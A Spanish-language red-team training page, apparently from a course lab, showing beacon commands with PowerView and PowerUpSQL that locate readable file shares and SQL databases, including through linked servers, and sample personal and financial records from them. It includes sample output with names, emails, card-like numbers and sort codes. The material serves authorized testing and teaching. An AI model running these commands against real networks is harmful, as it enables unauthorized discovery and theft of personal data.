Saltar a contenido

Data Hunting & Exfiltration

Data Hunting & Exfiltration

Las organizaciones almacenan datos en una amplia variedad de lugares, como file shares, bases de datos, SharePoint, wikis internas, entre otros. Como red teamer, necesitas encontrar el "objetivo" de tu operación y luego demostrar el acceso a ese objetivo a tu cliente. Enfatizo "acceso" específicamente, porque no deseas copiar o mover datos sensibles fuera de su ubicación, especialmente en entornos regulados.

Al planificar la evaluación con tu cliente, una buena estrategia para sugerir es crear un repositorio de datos ficticio que esté sujeto a los mismos controles de seguridad pero que no contenga datos reales (podrían ser datos falsos u ofuscados). Esos datos pueden ser generados por ti o por el cliente y serían seguros para eliminar del entorno.

De lo contrario, puedes demostrar acceso a datos reales, pero realizar un ejercicio de exfiltración con datos ficticios. Estos pueden tener la misma estructura y propiedades que los datos reales, pero el contenido en sí no sería sensible.

Los ejercicios de exfiltración son un paso importante para evaluar qué tan efectivamente una organización puede detectar y responder a la extracción de sus datos sensibles por cualquier medio (email, HTTP, FTP, etc).


File Shares

Find-DomainShare en PowerView busca recursos compartidos en el dominio. El parámetro -CheckShareAccess solo muestra aquellos recursos a los que el usuario actual tiene acceso de lectura.

beacon> powershell Find-DomainShare -CheckShareAccess

Name             Type Remark                                      ComputerName             
----             ---- ------                                      ------------             
CertEnroll          0 Active Directory Certificate Services share dc-2.dev.cyberbotic.io   
home$               0                                             dc-2.dev.cyberbotic.io   
NETLOGON            0 Logon server share                          dc-2.dev.cyberbotic.io   
software            0                                             dc-2.dev.cyberbotic.io   
SYSVOL              0 Logon server share                          dc-2.dev.cyberbotic.io   
finance$            0                                             fs.dev.cyberbotic.io

Find-InterestingDomainShareFile lleva esto un paso más allá y busca en cada recurso compartido, devolviendo resultados donde aparecen las cadenas especificadas en la ruta.

beacon> powershell Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*

Owner          : BUILTIN\Administrators
CreationTime   : 9/15/2022 4:22:55 PM
Path           : \\fs.dev.cyberbotic.io\finance$\export.csv
LastAccessTime : 9/15/2022 4:23:21 PM
LastWriteTime  : 9/15/2022 4:22:55 PM
Length         : 8076

beacon> powershell gc \\fs.dev.cyberbotic.io\finance$\export.csv | select -first 5

id,first_name,last_name,email,address,postal_code,credit_card
1,Emmery,Sutton,esutton0@blogspot.com,4788 Ronald Regan Drive,,374288148757510
2,Abie,Maffezzoli,amaffezzoli1@dagondesign.com,6897 Butternut Alley,,374288483637400
3,Rosina,Mellows,rmellows2@google.pl,100 Commercial Hill,,374283426936183
4,Glen,Chatwood,gchatwood3@bbc.co.uk,59046 Northview Trail,,374283883423493

Databases

PowerUpSQL proporciona varios cmdlets diseñados para la búsqueda y extracción de datos. Uno de esos cmdlets es Get-SQLColumnSampleDataThreaded, que puede buscar en una o más instancias bases de datos que contengan palabras clave específicas en los nombres de las columnas.

beacon> powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize

Instance                     Database Column                   Sample                  
--------                     -------- ------                   ------                  
sql-2.dev.cyberbotic.io,1433 master   email                    ritzhaki0@gov.uk        
sql-2.dev.cyberbotic.io,1433 master   email                    ldureden1@angelfire.com 
sql-2.dev.cyberbotic.io,1433 master   email                    gfaussett2@quantcast.com
sql-2.dev.cyberbotic.io,1433 master   email                    bcrumb3@cpanel.net      
sql-2.dev.cyberbotic.io,1433 master   email                    ldirkin4@123-reg.co.uk  
sql-2.dev.cyberbotic.io,1433 master   address                  5575 8th Plaza          
sql-2.dev.cyberbotic.io,1433 master   address                  759 Schmedeman Avenue   
sql-2.dev.cyberbotic.io,1433 master   address                  077 Menomonie Parkway   
sql-2.dev.cyberbotic.io,1433 master   address                  99 Gerald Street        
sql-2.dev.cyberbotic.io,1433 master   address                  150 Raven Court         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374288069616869         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374288681554928         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374283595554411         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374283532455854         
sql-2.dev.cyberbotic.io,1433 master   credit_card              374288154929482         

Esto solo puede buscar en las instancias a las que tienes acceso directo; no atravesará enlaces SQL. Para buscar a través de los enlaces, utiliza Get-SQLQuery.

 beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select * from information_schema.tables')"

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME            TABLE_TYPE
------------- ------------ ----------            ----------
master        dbo          spt_fallback_db       BASE TABLE
master        dbo          spt_fallback_dev      BASE TABLE
master        dbo          spt_fallback_usg      BASE TABLE
master        dbo          employees             BASE TABLE
master        dbo          spt_values            VIEW      
master        dbo          spt_monitor           BASE TABLE
master        dbo          MSreplication_options BASE TABLE

Nota la tabla "employees". A continuación, enumera sus columnas.

beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select column_name from master.information_schema.columns where table_name=''employees''')"

column_name   
-----------   
id            
first_name    
last_name     
gender        
address       
post_code     
sort_code     
account_number

Finalmente, toma una muestra de datos.

beacon> powershell Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select * from openquery(""sql-1.cyberbotic.io"", 'select top 5 first_name,gender,sort_code from master.dbo.employees')"

first_name gender sort_code
---------- ------ ---------
Juliann    Female 09-46-87 
Rhodie     Female 89-74-73 
Calypso    Female 77-33-04 
Burt       Male   36-84-98 
Gayelord   Male   28-16-45 

Si estos son datos reales, no extraigas múltiples columnas que puedan correlacionarse entre sí. Como en este ejemplo, toma una muestra de una columna que no signifique mucho por sí sola. Para simular la exfiltración de datos en grandes volúmenes, revisa Egress Assess.